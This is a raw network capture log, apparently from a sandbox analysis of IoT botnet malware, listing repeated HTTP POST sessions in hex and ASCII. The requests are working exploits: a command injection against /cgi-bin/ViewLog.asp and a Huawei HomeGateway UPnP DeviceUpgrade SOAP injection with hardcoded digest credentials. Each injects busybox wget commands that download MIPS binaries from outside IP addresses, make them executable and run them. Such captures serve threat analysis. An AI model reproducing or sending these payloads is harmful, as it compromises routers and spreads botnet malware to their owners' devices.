                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:49.003426075 CET518INHTTP/1.1 404 Not Found
                                                Date: Thu, 23 Nov 2023 04:21:50 GMT
                                                Server: Webs
                                                X-Frame-Options: SAMEORIGIN
                                                X-Content-Type-Options: nosniff
                                                X-XSS-Protection: 1;mode=block
                                                Cache-Control: no-store
                                                Content-Length: 166
                                                Content-Type: text/html
                                                Connection: keep-alive
                                                Keep-Alive: timeout=60, max=99
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                740192.168.2.155327831.204.159.2528080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:48.818551064 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                741192.168.2.155959694.121.106.628080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:48.836740971 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                742192.168.2.155458894.122.88.1778080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:48.838453054 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                743192.168.2.155158094.121.108.2098080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:49.064357042 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                744192.168.2.155335831.204.159.2528080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:49.163573027 CET273INHTTP/1.1 400 Bad request
                                                Content-length: 90
                                                Cache-Control: no-cache
                                                Connection: close
                                                Content-Type: text/html
                                                Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                745192.168.2.1550400156.241.118.5337215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:49.300359011 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:51.384321928 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:53.880268097 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:59.000123978 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:23:08.983959913 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                746192.168.2.153935231.136.220.488080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:49.476512909 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:50.072451115 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:51.224334002 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:53.624274969 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:58.236131907 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:07.447890997 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
